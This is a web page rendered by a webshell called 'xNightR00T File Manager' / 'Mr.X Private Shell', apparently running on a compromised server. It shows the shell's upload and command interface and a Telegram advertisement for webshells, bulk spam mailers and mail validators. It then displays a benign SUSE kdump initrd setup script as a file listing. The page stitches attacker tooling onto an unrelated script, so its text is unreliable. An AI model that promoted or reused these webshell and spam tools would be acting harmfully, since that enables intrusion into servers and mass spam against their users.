xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# setup-kdump.functions
#
# (c) 2014, Petr Tesarik <ptesarik@suse.de>, SUSE LINUX Products GmbH
#
# Helper functions needed to set up kdump initrd.
#

#
# Paths and other configuration variables
#

KDUMP_CONFIG=/etc/sysconfig/kdump
FENCE_KDUMP_SEND=/usr/lib/fence_kdump_send

#
# Global variables
#

# Next network interface number
kdump_ifnum=0

#
# Checks whether there is a device in the system which is handled
# by the specified module.
# Parameters:
#   1) modname: kernel module name
# Exit status:
#   zero     if a matching device was found
#   non-zero otherwise
function kdump_module_has_device()					   # {{{
{
    local modname="$1"
    local -a aliaslist
    local line

    while read line; do
	aliaslist[${#aliaslist[@]}]="$line"
    done < <(modinfo -k "$kernel_version" -F alias "$modname" 2>/dev/null)

    # for each device in the system, check the device modalias file ...
    find /sys/devices -type f -name modalias -print0 | xargs -0 cat | \
    (
	while read line; do
	    # ... against each modalias of the checked module
	    for modalias in "${aliaslist[@]}"; do
		case "$line" in
		    $modalias)
			exit 0
			;;
	        esac
	    done
	done
	exit 1
    )
}									   # }}}

# Extract the device name from a route
#
# Input:
#   output of "route show"
# Output:
#   device name (for each line of input)
function kdump_route2dev()						   # {{{
{
    sed -n 's/.* dev \([^ ]*\) *.*/\1/p'
}									   # }}}

#
# Get a wicked configuration value for a device
#
# Parameters:
#   1) ifname  network interface name
#   *) conf    wicked xpath expression(s) under /interface
# Output:
#   configuration value
function kdump_wicked_conf()						   # {{{
{
    local ifname="$1"
    shift
    wicked show-config | \
	wicked xpath --reference "/interface[name='$ifname']" "$@"
}									   # }}}

#
# Determine the default network device.
#
# Output:
#   ifname  default network interface name (or empty if none)
function kdump_default_netdev()						   # {{{
{
    local ifname
    local inffile="/etc/install.inf"

    # check current default routes
    ifname=$(ip route show 0/0 | kdump_route2dev)
    if [ -z "$ifname" ] ; then
	ifname=$(ip -6 route show ::/0 | kdump_route2dev)
    fi

    # if not found, get info from install.inf
    if [ -z "$ifname" -a -f "$inffile" ] ; then
	local dev hwaddr hwaddr2
	eval $( sed -ne '
		s/^Netdevice: \(.*\)/ifname=\1/p;
		s/HWAddr: \(.*\)/hwaddr=\1/p' \
	    "$inffile" )
        if [ -n "$hwaddr" ] ; then
            for dev in /sys/class/net/* ; do
                read hwaddr2 < "$dev"/address
                if [ "$hwaddr" = "$hwaddr2" ] ; then
                    ifname="${dev##*/}"
                fi
            done
        fi
    fi
    echo "$ifname"
}									   # }}}

#
# Determine the default network mode of a given device.
#
# Parameters:
#   1) ifname  network interface name
# Output:
#   mode    initialization mode ("static" or "dhcp")
function kdump_netdev_mode()						   # {{{
{
    local ifname="$1"
    local inffile="/etc/install.inf"
    local BOOTPROTO

    # get mode using wicked if possible
    if [ -n "$(type -P wicked)" -a \
	"$(kdump_wicked_conf "$ifname" "%{name}")" = "$ifname" ]
    then
	local dhcpv4 dhcpv6
	eval $( kdump_wicked_conf "$ifname" \
		"dhcpv4=%{ipv4:dhcp/enabled}" \
		"dhcpv6=%{ipv6:dhcp/enabled}" )
	if [ "$dhcpv4" = true -o "$dhcpv6" = true ] ; then
	    BOOTPROTO=dhcp
	else
	    BOOTPROTO=static
	fi
    fi

    # get mode from config files
    if [ -z "$BOOTPROTO" ] ; then
	local cfg=/etc/sysconfig/network/ifcfg-"$ifname"
	if [ -f "$cfg" ] ; then
	    eval $(grep '^[[:space:]]*BOOTPROTO=' "$cfg")
	fi
    fi

    # try install.conf
    if [ -z "$BOOTPROTO" ] ; then
	eval $( sed -ne 's/^NetConfig: \(.*\)/BOOTPROTO=\1/p;' \
	    "$inffile" )
    fi

    # if not found, look if there is a dhcp daemon for the interface
    if [ -z "$BOOTPROTO" ] ; then
        if [ -n "$(ps -C dhclient,dhclient6,dhcpcd -o cmd= |
		    sed -n '/.* \('"$ifname"'\)\( .*\|$\)/p' )" ] ; then
            BOOTPROTO=dhcp
        else
            BOOTPROTO=static
        fi
    fi

    echo "$BOOTPROTO"
}									   # }}}

#
# Get the interface kind
#
# Parameters:
#   1) iface  device name
# Output:
#   interface kind (IFLA_INFO_KIND)
function kdump_ifkind()							   # {{{
{
    local if="$1"

    # ovs-system is special, because it's recognized by its name
    if [ "$if" = "ovs-system" ]
    then
	echo ovs-system

    # get kind using wicked if possible
    elif [ -n "$(type -P wicked)" ]
    then
	local -a elems=(
	    infiniband
	    infiniband:child
	    bond
	    team
	    ovs-bridge
	    bridge
	    vlan
	    macvlan
	    macvtap
	    dummy
	    wireless
	    tun
	    tap
	    ipip
	    gre
	    sit
	)
	local elem opt var
	for elem in "${elems[@]}"
	do
	    opt="$opt;${elem//[-:]/_}=%{$elem or false}"
	done

	var="${elems[@]}"
	var="${var//[-:]/_}"
	local $var
	eval $( kdump_wicked_conf "$if" "${opt#;}" )

	for elem in "${elems[@]}"
	do
	    var="${elem//[-:]/_}"
	    if [ "${!var}" = true ]
	    then
		echo "$elem"
		break
	    fi
	done

    # fall back to reading the current state via netlink
    else
	ip -d link show "$1" | sed -n '3{s/^ *\([^ ]*\).*/\1/;s/.*_slave$//;p}'
    fi
}									   # }}}

#
# Get a list of slave interfaces
#
# Parameters:
#   1) iface  master device name
# Output:
#   list of slave interfaces
function kdump_list_slaves()						   # {{{
{
    local syspath="/sys/class/net/$1/lower_"
    local lower=$(echo ${syspath}*)
    local if
    for if in $lower
    do
	echo -n " ${if#$syspath}"
    done
}									   # }}}

#
# Get the bridge configuration options
#
# Parameters:
#   1) iface  device name
# Output variables:
#   kdump_netif  corresponding bridge= initrd parameter added
#   kdump_iface  device name in initrd
#   kdump_kmods  additional kernel modules updated
function kdump_bridge_config()						   # {{{
{
    local bridge="$1"
    local if slaves
    local curslaves

    # use wicked to read VLAN configuration, if possible
    if [ -n "$(type -P wicked)" ]
    then
	curslaves=$( kdump_wicked_conf "$bridge" "%{bridge/ports/port/device}" )
    fi
    # fall back to current configuration
    if [ -z "$curslaves" ]
    then
	curslaves=$( kdump_list_slaves "$bridge" )
    fi

    for if in $curslaves
    do
	kdump_ifname_config "$if" || continue
	slaves="$slaves $kdump_iface"
    done
    kdump_iface="$bridge"
    [ -n "$slaves" ] || return 1

    kdump_kmods="$kdump_kmods bridge"
    slaves="${slaves# }"
    kdump_netif="$kdump_netif bridge=$kdump_iface:${slaves// /,}"
}									   # }}}

#
# Get the bond configuration options
#
# Parameters:
#   1) iface  device name
# Output variables:
#   kdump_netif  corresponding bond= initrd parameter added
#   kdump_iface  device name in initrd
#   kdump_kmods  additional kernel modules updated
function kdump_bond_config()						   # {{{
{
    local bond="$1"
    local if slaves
    local curslaves opts

    # use wicked to read bonding settings, if possible
    if [ -n "$(type -P wicked)" ]
    then
	local -a optvars=(
		mode arp_interval arp_validate arp_all_targets arp_ip_target
		miimon updelay downdelay use_carrier primary active_slave
		xmit_hash_policy packets_per_slave tlb_dynamic_lb lacp_rate
		ad_select min_links primary_reselect fail_over_mac num_grat_arp
		num_unsol_na lp_interval resend_igmp all_slaves_active
	)
	eval $( kdump_wicked_conf "$bond" \
		"curslaves=\"\$curslaves %{bond/slaves/slave/device}\"" \
		"mode=%{bond/mode}" \
		"arp_interval=%{bond/arpmon/interval}" \
		"arp_validate=%{bond/arpmon/validate}" \
		"arp_all_targets=%{bond/arpmon/validate-targets}" \
		"arp_ip_target=%{bond/arpmon/targets/ipv4-address}" \
		"miimon=%{bond/miimon/frequency}" \
		"updelay=%{bond/miimon/updelay}" \
		"downdelay=%{bond/miimon/downdelay}" \
		"use_carrier=%{bond/miimon/carrier-detect}" \
		"primary=%{bond/slaves/slave[primary=true]/device}" \
		"active_slave=%{bond/slaves/slave[active=true]/device}" \
		"xmit_hash_policy=%{bond/xmit-hash-policy}" \
		"packets_per_slave=%{bond/packets-per-slave}" \
		"tlb_dynamic_lb=%{bond/tlb-dynamic-lb}" \
		"lacp_rate=%{bond/lacp-rate}" \
		"ad_select=%{bond/ad-select}" \
		"min_links=%{bond/min-links}" \
		"primary_reselect=%{bond/primary-reselect}" \
		"fail_over_mac=%{bond/fail-over-mac}" \
		"num_grat_arp=%{bond/num-grat-arp}" \
		"num_unsol_na=%{bond/num-unsol-na}" \
		"lp_interval=%{bond/lp-interval}" \
		"resend_igmp=%{bond/resend-igmp}" \
		"all_slaves_active=%{bond/all-slaves-active}"
	      )

	# translate incompatible option values
	case "$mode" in
	    ieee802-3ad) mode="802.3ad" ;;
	esac
	case "$use_carrier" in
	    ioctl)	use_carrier=0 ;;
	    netif)	use_carrier=1  ;;
	esac
	case "$xmit_hash_policy" in
	    layer23)	xmit_hash_policy="layer2+3" ;;
	    layer34)	xmit_hash_policy="layer3+4" ;;
	    encap23)	xmit_hash_policy="encap2+3" ;;
	    encap34)	xmit_hash_policy="encap3+4" ;;
	esac
	case "$tlb_dynamic_lb" in
	    false)	tlb_dynamic_lb=0 ;;
	    true)	tlb_dynamic_lb=1  ;;
	esac
	case "$all_slaves_active" in
	    false)	all_slaves_active=0 ;;
	    true)	all_slaves_active=1 ;;
	esac

	local var
	for var in "${optvars[@]}"
	do
	    [ -n "${!var}" ] && opts="$opts,${var}=${!var}"
	done
    fi

    # fall back to current configuration
    if [ -z "$curslaves" ]
    then
	curslaves=$(kdump_list_slaves "$bond")

	local ro_keys=(
	    ad_actor_key
	    ad_aggregator
	    ad_num_ports
	    ad_partner_key
	    ad_partner_mac
	)
	local ro_sed="s/,\(${ro_keys[@]}\)=[^,]*//g"
	ro_sed="${ro_sed// /\|}"

	opts=$(ip -d link show "$bond" | \
	    sed -n '3{s/^ *bond//;s/ \([^ ]*\) \([^ ]*\)/,\1=\2/g;'"$ro_sed"';p}')
    fi

    for if in $curslaves
    do
	kdump_ifname_config "$if" || continue
	slaves="$slaves $kdump_iface"
    done
    kdump_iface="$bond"
    [ -n "$slaves" ] || return 1
    slaves="${slaves# }"

    kdump_kmods="$kdump_kmods bonding"
    kdump_netif="$kdump_netif bond=$kdump_iface:${slaves// /,}:${opts#,}"
}									   # }}}

#
# Extract the VLAN tag ID from ip link output
#
# Input:
#   output of "ip -d link show"
# Output:
#   VLAN tag (or empty)
function kdump_link2vlan()                                                # {{{{
{
    sed -n '/^ *vlan /s/.* id \([0-9]\+\).*/\1/p'
}                                                                         # }}}

#
# Get VLAN configuration options
#
# Parameters:
#   1) iface  device name
# Output variables:
#   kdump_netif  corresponding vlan= initrd parameter added
#   kdump_iface  device name in initrd
#   kdump_kmods  additional kernel modules updated
#
# Because of dracut limitations for vlan interface naming, the initrd
# interface name may be different from the original name.
function kdump_vlan_config()						   # {{{
{
    local if="$1"
    local vid

    # use wicked to read VLAN configuration, if possible
    if [ -n "$(type -P wicked)" ]
    then
	eval $( kdump_wicked_conf "$if" \
		"vid=%{vlan/tag}; if=%{vlan/device}" )
    fi

    # fall back to sysfs
    if [ -z "$vid" ]
    then
	vid=$(ip -d link show "$if" | kdump_link2vlan)
	local slaves=$(kdump_list_slaves "$if")
	if="${slaves# }"
    fi

    kdump_kmods="$kdump_kmods 8021q"
    kdump_ifname_config "$if"
    kdump_iface="$if.$vid"
    kdump_netif="$kdump_netif vlan=$kdump_iface:$if"
}									   # }}}

# Get the ifname parameter for a given device
#
# Parameters:
#   1) device  device name
# Output:
#   permanent hardware address
function kdump_hwaddr()							   # {{{
{
    local _iface="$1"
    local _type=$(<"/sys/class/net/$_iface/addr_assign_type")
    if [ "$_type" -eq 0 ]
    then
	cat "/sys/class/net/$_iface/address"
    else
	ethtool -P "$_iface" | sed 's/^[^:]*: *//'
    fi
}									   # }}}

# Get the ifname parameter for a given device
#
# Parameters:
#   1) device  device name
# Output variables:
#   kdump_netif  corresponding ifname= initrd parameter added
#   kdump_iface  device name in initrd
#   kdump_kmods  additional kernel modules updated
#   kdump_ifmap  hardware network interface map updated
function kdump_ifname_config()						   # {{{
{
    local _iface="$1"
    local _ifkind=$(kdump_ifkind "$_iface")

    if [ -z "$_ifkind" ]
    then
	kdump_iface="kdump$kdump_ifnum"
	kdump_ifnum=$(( $kdump_ifnum + 1 ))
	kdump_ifmap="$kdump_ifmap $_iface:$kdump_iface"

	local _drv=$( readlink "/sys/class/net/$_iface/device/driver" )
	case "$_drv" in
	    */qeth)
		;;
	    *)
		local hwaddr=$(kdump_hwaddr "$_iface")
		[ -n "$hwaddr" ] && kdump_netif="$kdump_netif ifname=$kdump_iface:$hwaddr"
		;;
	esac
    else
	case "$_ifkind" in
	    bridge)
		kdump_bridge_config "$_iface"
		;;
	    bond)
		kdump_bond_config "$_iface"
		;;
	    vlan)
		kdump_vlan_config "$_iface"
		;;
	    *)
		return 1
		;;
	esac
    fi
}									   # }}}

#
# Convert a CIDR prefix to IPv4 netmask
#
# Parameters:
#   1) prefix the CIDR prefix (default: 32)
# Output:
#   Corresponding netmask
kdump_prefix2netmask() {						   # {{{
    local prefix="${1:-32}"
    local netmask=
    local i
    for i in a b c d
    do
	netmask="$netmask.$(( 255 - (255 >> prefix) ))"
	if [ "$prefix" -gt 8 ] ; then
	    prefix=$(( prefix - 8 ))
	else
	    prefix=0
	fi
    done
    echo "${netmask:1}"
}									   # }}}

#
# Get the IPv4 rd.route= parameters for a given device
#
# Parameters:
#   1) iface   current interface name
#   2) bootif  interface name in initrd
# Output:
#   string that can be used for the rd.route= initrd parameter
function kdump_ip_routes()						   # {{{
{
    local _iface="$1"
    local _bootif="$2"

    # remove default routes
    local _rmdefault='/^default /d'
    # transform the output of "ip route" into rd.route=
    local _xform='s/\([^ ]*\)\( via \([^ ]*\)\)\?.*/rd.route=\1:\3/'
    # add interface name and print
    local _addintf="s/\$/:${_bootif}/p"

    # get configured routes using wicked if possible
    if [ -n "$(type -P wicked)" ]
    then
	wicked show-config | \
	    wicked xpath --reference \
		   "/interface[name='$_iface']/ipv4:static/route" \
		   "rd.route=%{destination}:%{?nexthop/gateway}:$_bootif" \
		   2>/dev/null
    else
        ip route show dev "$_iface" proto boot | \
	    sed -ne "$_rmdefault;$_xform;$_addintf"
        ip route show dev "$_iface" proto static | \
	    sed -ne "$_rmdefault;$_xform;$_addintf"
    fi
}									   # }}}

#
# Get the IPv4 ip= parameter for a given device
#
# Parameters:
#   1) iface   current interface name
#   2) bootif  interface name in initrd
# Output:
#   ip configuration string that can be used for the ip= initrd parameter
function kdump_ip_config()						   # {{{
{
    local iface="$1"
    local bootif="$2"
    local ipaddr peeraddr gwaddr netmask hostname
    local family cidr rest
    local prefix
    local routes r
    while read family cidr rest
    do
	[ "$family" = "inet" ] || continue

	ipaddr="${cidr%/*}"
	prefix="${cidr:${#ipaddr}}"
	set -- $rest

        if [ "$1" == "peer" ] ; then
	    cidr="$2"
            peeraddr=${cidr%/*}
	    prefix="${cidr:${#peeraddr}}"
	    shift 2
        fi
	netmask=$( kdump_prefix2netmask "${prefix:1}" )

    done < <(ip -4 address show dev "$iface")

    gwaddr=$(ip route show 0/0 | sed -n 's/.* via \([^ ]*\).*/\1/p')
    hostname=$(hostname)

    if [ -n "$ipaddr" ] ; then
        echo "ip=$ipaddr:$peeraddr:$gwaddr:$netmask:$hostname:$bootif:none"
	kdump_ip_routes "$iface" "$bootif"
    fi
}									   # }}}

#
# Get the IPv6 rd.route= parameters for a given device
#
# Parameters:
#   1) iface   current interface name
#   2) bootif  interface name in initrd
# Output:
#   string that can be used for the rd.route= initrd parameter
function kdump_ip6_routes()						   # {{{
{
    local _iface="$1"
    local _bootif="$2"

    # remove default routes
    local _rmdefault='/^default /d'
    # transform the output of "ip route" into rd.route=
    local _xform='s/\([^ ]*\)\( via \([^ ]*\)\)\?.*/rd.route=[\1]:[\3]/'
    # remove gateway if empty
    local _rmgw='s/\[\]$//'
    # add interface name and print
    local _addintf="s/\$/:${_bootif}/p"

    # get configured routes using wicked if possible
    if [ -n "$(type -P wicked)" ]
    then
	wicked show-config | \
	    wicked xpath \
		   --reference "/interface[name='$_iface']/ipv6:static/route" \
		   "rd.route=[%{destination}]:[%{?nexthop/gateway}]" \
		   2>/dev/null | \
	    sed -ne "$_rmgw;$_addintf"
    else
        ip -6 route show dev "$_iface" proto boot | \
	    sed -ne "$_rmdefault;$_xform;$_rmgw;$_addintf"
        ip -6 route show dev "$_iface" proto static | \
	    sed -ne "$_rmdefault;$_xform;$_rmgw;$_addintf"
    fi
}									   # }}}

#
# Get the IPv6 ip= parameter for a given device
#
# Parameters:
#   1) iface   current interface name
#   2) bootif  interface name in initrd
# Output:
#   ip configuration string that can be used for the ip= initrd parameter
function kdump_ip6_config()						   # {{{
{
    local iface="$1"
    local bootif="$2"
    local ipaddr peeraddr gwaddr netmask hostname
    local family cidr rest prefix
    local routes r

    hostname=$(hostname)
    gwaddr=$(ip -6 route show ::/0 | sed -n 's/.* via \([^ ]*\).*/[\1]/p')

    while read family cidr rest
    do
	[ "$family" = "inet6" ] || continue

	ipaddr="${cidr%/*}"
	prefix="${cidr:${#ipaddr}}"
	netmask="${prefix:1}"
	ipaddr="[$ipaddr]"
	set -- $rest

        if [ "$1" == "peer" ] ; then
	    peeraddr="${2%/*}"
	    prefix="${2:${#peeraddr}}"
	    peeraddr="[$peeraddr]"
	else
	    peeraddr=
        fi

	echo "ip=$ipaddr:$peeraddr:$gwaddr:$netmask:$hostname:$bootif:none"
    done < <(ip -6 address show dev "$iface" permanent scope global)

    kdump_ip6_routes "$iface" "$bootif"
}									   # }}}

#
# Get the save directory and protocol.
#
# Output variables:
#   kdump_$name[]  $name as returned by kdumptool print_target, e.g.:
#       kdump_URL[]
#       kdump_Protocol[]
#       kdump_Realpath[]
#   kdump_max      maximum index in kdump_*[]
# Exit status:
#   zero     on success
#   non-zero if kdumptool didn't return any targets
function kdump_get_targets()						   # {{{
{
    kdump_max=0

    # add /boot and /usr/lib/debug/boot if needed
    if [ "$KDUMP_COPY_KERNEL" = "yes" ] ; then
	kdump_Protocol[kdump_max]=srcfile
	kdump_Realpath[kdump_max]=/boot/
	kdump_URL[kdump_max]=boot
	kdump_max=$((kdump_max + 1))
    fi

    eval "$( kdumptool print_target | \
        sed -e "s/'/'\\\\''/g" \
	    -e 's/^$/max=$((kdump_max+1))'\''/' \
	    -e 's/^/kdump_/' \
	    -e "s/: */[\$kdump_max]='/" \
	    -e "s/\$/\'/" )"
    if [ ${#kdump_URL[@]} -eq 0 ] ; then
	echo >&2 "kdumptool print_target failed."
	return 1
    fi
    return 0
}									   # }}}

#
# Get a block device specification that is suitable for use as the
# first column in /etc/fstab.
# Since device node names may change after kexec, more stable symlink
# are preferred (by-path alias or device mapper name).
# Parameters:
#   1) _dev: block device specification
# Output:
#   block device specification to be used in /etc/fstab
function kdump_mount_dev()						   # {{{
{
    local _dev="$1"

    if [ ! -L "$_dev" -a -b "$_dev" ] ; then
	local _symlink
	for _symlink in $(udevadm info --root --query=symlink "$_dev")
	do
	    case "$_symlink" in
		*/by-path/*|*/mapper/*)
		    _dev="$_symlink"
		    break
	    esac
	done
    fi
    echo "$_dev"
}									   # }}}

#
# Read and normalize /etc/fstab and /proc/mounts (if exists).
# The following transformations are done:
#   - initial TABs and SPACEs are removed
#   - empty lines and comments are removed
#   - fields are separated by a single TAB
# Output:
#   Cleaned up fstab and /proc/mounts
function kdump_read_mounts()						   # {{{
{
    local proc_mounts=/proc/mounts
    test -e "$proc_mounts" || proc_mounts=
    sed -e 's/[ \t][ \t]*/\t/g;s/^\t//;/^$/d;/^#/d' \
        "$proc_mounts" /etc/fstab
}									   # }}}

#
# Update the kdump mountpoint corresponding to the non-kdump mountpoint.
# If necessary, add a new entry into the kdump_* arrays.
#
# Parameters:
#   1) device         mount device
#   2) mountpoint     mountpoint in non-kdump environment
#   3) fstype         filesystem type
#   4) opts           mount options
# Output variable:
#   kdump_mountidx    mountpoint index in kdump environment
# Input/output variables:
#   kdump_mnt[]
# Output variables:
#   kdump_dev[]
#   kdump_fstype[]
#   kdump_opts[]
function kdump_update_mount()						   # {{{
{
    local device="$1"
    local mountpoint="/kdump/mnt0/${2#/}"
    local fstype="$3"
    local opts="$4"
    local mnt i

    i=0
    for mnt in "${kdump_mnt[@]}"
    do
	[ "$mnt" = "${mountpoint%/}" ] && break
        i=$((i+1))
	mountpoint="/kdump/mnt$i/${mountpoint#/kdump/mnt*/}"
    done

    if [ "$fstype" = "btrfs" ] ; then
	opts="$opts,skip_balance"
    fi

    kdump_mnt[i]="${mountpoint%/}"
    kdump_dev[i]="$device"
    kdump_fstype[i]="$fstype"
    kdump_opts[i]="$opts"

    kdump_mountidx=$i
}									   # }}}

#
# Get kdump mount points and map between running system and kdump system
#
# Mount point 0 always corresponds to the "/boot" mount point and may be
# empty if "/boot" is not on a separate partition.
#
# Input variables:
#   KDUMP_COPY_KERNEL  config option, see kdump(5)
# Output variables:
#   kdump_*         target specs (as returned by kdump_get_targets)
#   kdump_mnt[i]    mountpoint i in kdump environment
#   kdump_dev[i]    mount device for mount i
#   kdump_fstype[i] file system type for mount i
#   kdump_opts[i]   mount options for mount i
function kdump_get_mountpoints()					   # {{{
{
    local device mountpoint filesystem opts dummy
    local protocol realpath kdump_mountidx
    local -a curmp mntdev mntfstype mntopts
    local i

    # Populate kdump_*[] arrays with dump target info
    kdump_get_targets || return 1

    kdump_mnt=( )
    kdump_dev=( )
    kdump_fstype=( )
    kdump_opts=( )

    while read device mountpoint filesystem opts dummy ; do
	i=0
	while [ $i -le $kdump_max ] ; do
            protocol="${kdump_Protocol[i]}"
            realpath="${kdump_Realpath[i]}"
            if [ \( "$protocol" = "file" -o "$protocol" = "srcfile" \) -a \
		"${realpath#$mountpoint}" != "$realpath" -a \
		"${#mountpoint}" -ge "${#curmp[i]}" ] ; then
		curmp[i]="$mountpoint"
		mntdev[i]="$device"
		mntfstype[i]="$filesystem"
		mntopts[i]="$opts"
            fi
            i=$((i+1))
	done
    done < <(kdump_read_mounts)

    # map running paths to target paths
    i=0
    while [ $i -le $kdump_max ] ; do
	mountpoint="${curmp[i]}"
	if [ -n "$mountpoint" ]; then
	    kdump_update_mount "${mntdev[i]}" "$mountpoint" \
		"${mntfstype[i]}" "${mntopts[i]}"
	    kdump_Realpath[i]="/mnt${kdump_mountidx}${kdump_Realpath[i]}"
	fi
	i=$((i+1))
    done

    return 0
}									   # }}}

#
# Get the kdump configuration
# Output variables (consult kdumptool for a complete list):
#   KDUMP_*
#   KEXEC_OPTIONS
#   MAKEDUMPFILE_OPTIONS
# Exit status:
#   zero     on success
#   non-zero if dump_config failed
function kdump_get_config()						   # {{{
{
    local kdump_config=$( kdumptool dump_config --format=shell )
    if [ $? -ne 0 ] ; then
	echo >&2 "kdump configuration failed"
	return 1
    fi

    eval "$kdump_config"
    return 0
}									   # }}}

#
# Create adjusted kdump configuration.
#
# Parameters:
#   1) dest: root of the temporary area
# Input variables:
#   KDUMP_* variables (as sourced from $KDUMP_CONFIG)
#   kdump_URL[]
#   kdump_Protocol[]
#   kdump_Host[]
#   kdump_Realpath[]
# Output variables:
#   KDUMP_SAVEDIR   re-created from kdump_* variables
#   KDUMP_HOST_KEY  default from ssh-keygen if not set previously
#   KDUMP_REQUIRED_PROGRAMS updated as necessary
#   kdump_over_ssh  non-empty if SSH is involved in dump saving
# Output:
#   "kdumptool dump_config" with some variables modified
function kdump_modify_config()						   # {{{
{
    local dest="${1%/}"
    #
    # Special handling for some protocols
    KDUMP_SAVEDIR=
    kdump_over_ssh=
    local i=0
    while [ $i -le $kdump_max ] ; do
	protocol="${kdump_Protocol[i]}"

	# replace original path with resolved path
	test -z "$KDUMP_SAVEDIR" || KDUMP_SAVEDIR="$KDUMP_SAVEDIR "
	if [ "$protocol" = "file" ] ; then
            KDUMP_SAVEDIR="${KDUMP_SAVEDIR}file://${kdump_Realpath[i]}"
	elif [ "$protocol" != "srcfile" ] ; then
            KDUMP_SAVEDIR="${KDUMP_SAVEDIR}${kdump_URL[i]}"
	fi

	#
	# get the host key, if needed
	if [ "$protocol" = "sftp" -o \
	     "$protocol" = "ssh" ] ; then
            kdump_over_ssh=yes
            if [ -z "$KDUMP_HOST_KEY" ] ; then
		KDUMP_HOST_KEY=$(
		    ssh-keygen -F "${kdump_Host[i]}" 2>/dev/null | \
		    awk '/^[^#]/ { if (NF==3) { print $3; exit } }'
		)
            fi
	    ssh-keygen -F "${kdump_Host[i]}" 2> /dev/null \
		>>"${dest}/kdump/.ssh/known_hosts"
	fi

	i=$((i+1))
    done

    # copy ssh if needed
    if [ -n "$kdump_over_ssh" ] ; then
	KDUMP_REQUIRED_PROGRAMS="$KDUMP_REQUIRED_PROGRAMS ssh"
    fi

    # copy fence_kdump_send if exists
    if [ -f "$FENCE_KDUMP_SEND" ] &&
       [[ $KDUMP_POSTSCRIPT =~ "$FENCE_KDUMP_SEND" ]] ; then
        KDUMP_REQUIRED_PROGRAMS="$KDUMP_REQUIRED_PROGRAMS $FENCE_KDUMP_SEND"
    fi

    # make sure NSS works somehow
    cp /etc/hosts "${dest}/etc"
    { cat <<-EOF
	passwd: files
	shadow: files
	group: files
EOF
      grep '^[[:space:]]*hosts:' /etc/nsswitch.conf \
	  || echo 'hosts: dns [!UNAVAIL=return] files'
    } > "${dest}/etc/nsswitch.conf"

    # install necessary NSS modules
    local _nssmods=$(
	sed -e 's/#.*//; s/^[^:]*://; s/\[[^]]*\]//' \
	    "${dest}/etc/nsswitch.conf" \
	    | tr -s '[:space:]' '\n' | sort -u | tr '\n' '|' )
    _nssmods=${_nssmods#|}
    _nssmods=${_nssmods%|}
    inst_libdir_file -n "/libnss_($_nssmods)" 'libnss_*.so*'

    #
    # dump the configuration file, modifying:
    #   KDUMP_SAVEDIR  -> resolved path
    #   KDUMP_HOST_KEY -> target host public key
    kdumptool dump_config --format=shell | \
	KDUMP_SAVEDIR="$KDUMP_SAVEDIR" KDUMP_HOST_KEY="$KDUMP_HOST_KEY" \
	awk -F= '{
    id = $1
    sub(/^[ \t]*/, "", id)
    if (id in ENVIRON)
        print $1"=\""ENVIRON[id]"\""
    else
        print
}' > "${dest}${KDUMP_CONFIG}"
}									   # }}}

#
# Build a mapping between multipath devices and their wwid
# This map would be best stored in an associative array, but
# then bash 4.0+ would be needed (and SLES11 has bash 3.2).
#
# Output variables:
#   kdump_mpath_wwid_$major_$minor  wwid of the given major/minor device
function kdump_map_mpath_wwid()						   # {{{
{
    local f _dir _uuid _wwid _dev
    for f in /sys/block/*/dm/uuid ; do
	eval "_uuid=\$(<$f)" 2>/dev/null
	_wwid="${_uuid#mpath-}"
	[ "$_wwid" != "$_uuid" ] || continue
	_dir="${f%/dm/uuid}"
	_dev=$(<"$_dir"/dev)
	eval kdump_mpath_wwid_${_dev/:/_}=\$_wwid
    done
}									   # }}}

#
# Keep only required devices in multipath.conf
#
# Parameters:
#   1) devices: list of all required devices (multipath.conf syntax)
# Output:
#   filtered multipath.conf
function kdump_modify_multipath()					   # {{{
{
    local -a wwids
    eval wwids="($1)"
    local conf="/etc/multipath.conf"
    test -e "$conf" || conf="/dev/null"
    kdumptool multipath "${wwids[@]}" \
	< "$conf"
}									   # }}}

#
# Copy SSH identity file(s) and update the target config file
# Parameters:
#   1) dest: root of the temporary area
function kdump_copy_ssh_ident()						   # {{{
{
    local sshdir="$1/kdump/.ssh"
    local ssh_conf="$sshdir/config"
    local f

    shift
    for f in "$@"; do
	test "${f:0:1}" = "/" || f=~root/".ssh/$f"
	test -f "$f" || continue

	cp "$f" "$sshdir/"
	test -f "${f}.pub" && cp "${f}.pub" "$sshdir/"
	test -f "${f}-cert.pub" && cp "${f}-cert.pub" "$sshdir/"
	f=$( basename $f )
	echo "IdentityFile /kdump/.ssh/${f}" >> "$ssh_conf"
    done
}									   # }}}

#
# Copy SSH keys and create a config file in the target
# Parameters:
#   1) dest: root of the temporary area
function kdump_init_ssh()						   # {{{
{
    local dest="${1%/}"

    if [ -z "$KDUMP_HOST_KEY" ] ; then
        echo "WARNING: target SSH host key not found. " \
             "Man-in-the-middle attack is possible." >&2
    fi

    local ssh_conf="$dest/kdump/.ssh/config"
    echo "BatchMode yes" >> "$ssh_conf"
    echo "StrictHostKeyChecking yes" >> "$ssh_conf"
    echo "UserKnownHostsFile /kdump/.ssh/known_hosts" >> "$ssh_conf"

    if [ -n "$KDUMP_SSH_IDENTITY" ] ; then
	kdump_copy_ssh_ident "$dest" $KDUMP_SSH_IDENTITY
    else
	kdump_copy_ssh_ident "$dest" id_{rsa,dsa,ecdsa,ed25519}
    fi
}									   # }}}

#
# Create the /kdump hierarchy with mountpoints
# Parameters:
#   1) root:     initrd temporary root
# Input variables:
#   kdump_mnt[]  mountpoints in kdump environment
function kdump_init_dirs()						   # {{{
{
    local root="$1"
    local i d mnt

    mkdir -p "${root}/kdump"
    mkdir -m 01777 "${root}/kdump/tmp"
    mkdir -m 0700 "${root}/kdump/.ssh"

    for mnt in "${kdump_mnt[@]}"
    do
	mkdir -p "${root}$mnt"
    done

